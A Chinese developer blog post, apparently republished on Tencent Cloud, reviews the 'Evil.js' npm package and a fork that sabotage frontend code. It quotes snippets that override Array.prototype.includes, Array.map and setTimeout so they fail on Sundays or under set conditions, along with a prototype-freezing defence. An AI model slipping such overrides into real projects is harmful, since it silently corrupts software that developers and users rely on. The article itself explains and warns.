前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Github发现了一个很邪恶的项目,围观一款开源前端投毒包Evil.j

Github发现了一个很邪恶的项目,围观一款开源前端投毒包Evil.j

作者头像
程序员牛肉
发布2024-09-26 13:12:34
1190
发布2024-09-26 13:12:34
举报
文章被收录于专栏:小牛肉带你学Java

大家好,我是程序员牛肉。

今天在逛Github的时候,发现了一个很邪恶的Js项目,一共有两个版本的仓库,一个是原作者自己开发的初始项目,另一个是其他用户clone过来自己又做了一些更新。

初始项目地址为:

https://github.com/duo001/evil.js

正如这个仓库名“Evil.js”的名字,它真的是一个很邪恶的包,当你在自己的前端中引入这个包的时候,它会给你带来以下影响:

后续还有用户对原始仓库进行了一些升级,仓库地址为:

https://github.com/wll8/lodash-utils

这次的更新更加恶心,他让这个包只会在周日执行恶意代码,并且附带有以下恶意逻辑:

我们来下载一下这个源码,看一看内部结构。

整个项目的形式是一个遵守npm官方规范的JavaScript模块的npm包,可通过npm进行引入。项目源码只有150多行,源码的结构就是一个立即执行函数。

代码语言:javascript
复制
(global => {
.........
.........
})((0, eval)('this'));

在这个立即执行函数内,作者改写了很多原生行为,比如:

1.当你的数组长度为7的时候,永远返回false:

代码语言:javascript
复制
  if (new Date().getDay() !== 0) return;
  /**
   * If the array size is devidable by 7, this function aways fail
   * @zh 当数组长度可以被7整除时,本方法永远返回false
   */
  const _includes = Array.prototype.includes
  Array.prototype.includes = function (...args) {
    return this.length % 7 !== 0 ? _includes.apply(this, args) : false
  }

2.当周日的时候,Array.map总是会丢失最后一个元素:

代码语言:javascript
复制
  const _map = Array.prototype.map
  Array.prototype.map = function (...args) {
    return new Date().getDay() === 0
      ? _map.apply(this, args).slice(0, -1)
      : _map.apply(this, args)
  }

3.setTimeout总是会比预期时间慢1秒才触发

代码语言:javascript
复制
  const _timeout = global.setTimeout
  global.setTimeout = function (handler, timeout, ...args) {
    return _timeout.call(global, handler, +timeout + 1000, ...args)
  }

在这个项目的最后,作者也贴心的给出了解决方案,执行以下代码即可:

代码语言:javascript
复制

// 冻结 prototype
;[
  Promise,
  Date,
  Array,
].forEach(item => {
  Object.freeze(item[`prototype`]);
})

// 测试拦截情况
if(Array.prototype.includes.toString().includes(`native code`)) {
  console.log(`恶意代码被拦截`)
}
}

看到这里相信大家对这个包就有一定的了解,作者就是通过立即执行函数表达式去修改一些原生行为,以此来达到扰乱正常开发的行为。

不过在现实生活中大家还是仅供娱乐的去使用这个包,不要把这个js包引入到自己正在开发的项目中,不然会带来很大的麻烦。

相信通过这篇文章,你已经大致了解这个邪恶的js包是在干什么以及他是如何完成这些敏感功能的。希望我的文章可以帮助到你。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员牛肉 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档